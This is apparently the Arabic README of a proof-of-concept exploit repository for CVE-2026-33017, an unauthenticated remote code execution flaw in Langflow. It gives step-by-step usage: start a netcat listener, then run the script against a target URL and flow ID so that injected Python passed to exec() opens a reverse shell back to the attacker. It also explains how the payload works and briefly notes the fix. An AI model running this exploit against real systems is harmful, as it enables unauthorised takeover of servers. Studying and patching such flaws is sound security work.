
Python POC، استغلال لـ CVE-2026-33017
⚠️ إخلاء مسؤولية: هذا المستودع مخصص لاختبار الأمان المصرح به والأغراض التعليمية فقط. استخدمه فقط على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها. المؤلف غير مسؤول عن أي سوء استخدام أو ضرر يسببه هذا البرنامج.
CVE-2026-33017 هي ثغرة تنفيذ تعليمات برمجية عن بُعد بدون مصادقة في Langflow، وهو إطار عمل مرئي لبناء تطبيقات LangChain.
يسمح نقطة النهاية POST /api/v1/build_public_tmp/{flow_id}/flow ببناء التدفقات العامة بدون مصادقة. عندما يتم توفير المعلمة الاختيارية data، تستخدم نقطة النهاية بيانات التدفق التي يتحكم فيها المهاجم (تحتوي على كود بايثون عشوائي في تعريفات العقد) بدلاً من بيانات التدفق المخزنة في قاعدة البيانات. يتم تمرير هذا الكود إلى exec() بدون أي حماية، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد بدون مصادقة.
client_id (أي قيمة سلسلة عشوائية)git clone https://github.com/<your-username>/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests
على جهازك المهاجم، ابدأ مستمع netcat لالتقاط الصدفة العكسية:
nc -lvnp 4444
python3 CVE-2026-33017.py --url http://target:7860 --flow-id <UUID> --lhost <YOUR_IP> --lport 4444
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Fire exploit
python3 CVE-2026-33017.py \
--url http://192.168.1.100:7860 \
--flow-id 550e8400-e29b-41d4-a716-446655440000 \
--lhost 10.0.0.5 \
--lport 4444
craft_malicious_node() — ينشئ عقدة Langflow ضارة تحتوي على CustomComponent مع كود بايثون يتحكم فيه المهاجم. يتضمن الكود استدعاء os.system() على المستوى الأعلى الذي يتم تنفيذه أثناء بناء الرسم البياني (قبل أن "يعمل" التدفق فعليًا).
fire_payload() — يرسل العقدة الضارة بصيغة JSON إلى نقطة النهاية غير المصادقة build_public_tmp مع كلمة client_id عشوائية.
تنفيذ الكود — يقوم الخادم بتحليل بيانات التدفق المقدمة من المهاجم، وإنشاء المكون المخصص، واستدعاء exec() على الكود المضمن أثناء prepare_global_scope(). يؤدي التخصيص على المستوى الأعلى _r = __import__('os').system(...) إلى تشغيل الأمر فورًا.
الصدفة العكسية — يقوم الحمولة بإنشاء صدفة عكسية بلغة بايثون تتصل بالمستمع الخاص بك.
تم تصميم نقطة النهاية build_public_tmp لتكون بدون مصادقة (للتدفقات العامة)، ولكنها تقبل بشكل غير صحيح بيانات التدفق التي يقدمها المهاجم عبر المعلمة data. عند توفير data، فإنها تتجاوز بيانات التدفق المخزنة وتمرر العقد التي يتحكم فيها المهاجم مباشرة إلى منشئ الرسم البياني.
قم بإزالة المعلمة data من build_public_tmp. يجب أن تنفذ التدفقات العامة فقط بيانات التدفق المخزنة في قاعدة البيانات، وليس البيانات المقدمة من المهاجم.
هذا المشروع مقدم للأغراض التعليمية واختبار الأمان المصرح به فقط.
| Argument | Required | Description |
|---|
--url | نعم | عنوان URL المستهدف (مثل http://localhost:7860) |
--flow-id | نعم | UUID التدفق العام |
--lhost | نعم | عنوان IP للمستمع الخاص بك |
--lport | نعم | منفذ المستمع الخاص بك |
--timeout | لا | مهلة الطلب بالثواني (الافتراضي: 15) |